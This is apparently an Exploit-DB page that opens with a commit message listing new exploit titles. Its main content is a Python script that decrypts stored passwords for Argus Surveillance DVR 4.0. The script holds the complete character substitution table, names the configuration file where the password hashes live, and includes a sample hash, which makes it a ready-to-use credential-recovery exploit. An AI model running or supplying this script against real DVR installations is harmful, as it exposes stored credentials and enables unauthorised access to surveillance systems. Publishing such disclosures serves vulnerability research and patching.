41553c4004
11 changes to exploits/shellcodes Wing FTP Server 4.3.8 - Remote Code Execution (RCE) (Authenticated) Hotel Reservation System 1.0 - SQLi (Unauthenticated) Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit) FileBrowser 2.17.2 - Cross Site Request Forgery (CSRF) to Remote Code Execution (RCE) Hospital Management System 4.0 - 'multiple' SQL Injection WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross Site Scripting (XSS) Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS) WordPress Plugin CP Blocks 1.0.14 - Stored Cross Site Scripting (XSS) Windows/x86 - Locate kernel32 base address / Stack Crack method NullFree Shellcode (171 bytes)
54 lines
No EOL
2 KiB
Python
Executable file
54 lines
No EOL
2 KiB
Python
Executable file
# Exploit Title: Argus Surveillance DVR 4.0 - Weak Password Encryption
|
|
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)
|
|
# Date: 12.07.2021
|
|
# Version: Argus Surveillance DVR 4.0
|
|
# Tested on: Windows 7 x86 (Build 7601) & Windows 10
|
|
# Reference: https://leobreaker1411.github.io/blog/dvr4-hash-crack
|
|
|
|
# Note: Argus Surveillance DVR 4.0 configuration is present in
|
|
# C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini
|
|
|
|
# I'm too lazy to add special characters :P
|
|
characters = {
|
|
'ECB4':'1','B4A1':'2','F539':'3','53D1':'4','894E':'5',
|
|
'E155':'6','F446':'7','C48C':'8','8797':'9','BD8F':'0',
|
|
'C9F9':'A','60CA':'B','E1B0':'C','FE36':'D','E759':'E',
|
|
'E9FA':'F','39CE':'G','B434':'H','5E53':'I','4198':'J',
|
|
'8B90':'K','7666':'L','D08F':'M','97C0':'N','D869':'O',
|
|
'7357':'P','E24A':'Q','6888':'R','4AC3':'S','BE3D':'T',
|
|
'8AC5':'U','6FE0':'V','6069':'W','9AD0':'X','D8E1':'Y','C9C4':'Z',
|
|
'F641':'a','6C6A':'b','D9BD':'c','418D':'d','B740':'e',
|
|
'E1D0':'f','3CD9':'g','956B':'h','C875':'i','696C':'j',
|
|
'906B':'k','3F7E':'l','4D7B':'m','EB60':'n','8998':'o',
|
|
'7196':'p','B657':'q','CA79':'r','9083':'s','E03B':'t',
|
|
'AAFE':'u','F787':'v','C165':'w','A935':'x','B734':'y','E4BC':'z'}
|
|
|
|
# ASCII art is important xD
|
|
banner = '''
|
|
#########################################
|
|
# _____ Surveillance DVR 4.0 #
|
|
# / _ \_______ ____ __ __ ______ #
|
|
# / /_\ \_ __ \/ ___\| | \/ ___/ #
|
|
# / | \ | \/ /_/ > | /\___ \ #
|
|
# \____|__ /__| \___ /|____//____ > #
|
|
# \/ /_____/ \/ #
|
|
# Weak Password Encryption #
|
|
############ @deathflash1411 ############
|
|
'''
|
|
print(banner)
|
|
|
|
# Change this :)
|
|
pass_hash = "418DB740F641E03B956BE1D03F7EF6419083956BECB453D1ECB4ECB4"
|
|
if (len(pass_hash)%4) != 0:
|
|
print("[!] Error, check your password hash")
|
|
exit()
|
|
split = []
|
|
n = 4
|
|
for index in range(0, len(pass_hash), n):
|
|
split.append(pass_hash[index : index + n])
|
|
|
|
for key in split:
|
|
if key in characters.keys():
|
|
print("[+] " + key + ":" + characters[key])
|
|
else:
|
|
print("[-] " + key + ":Unknown") |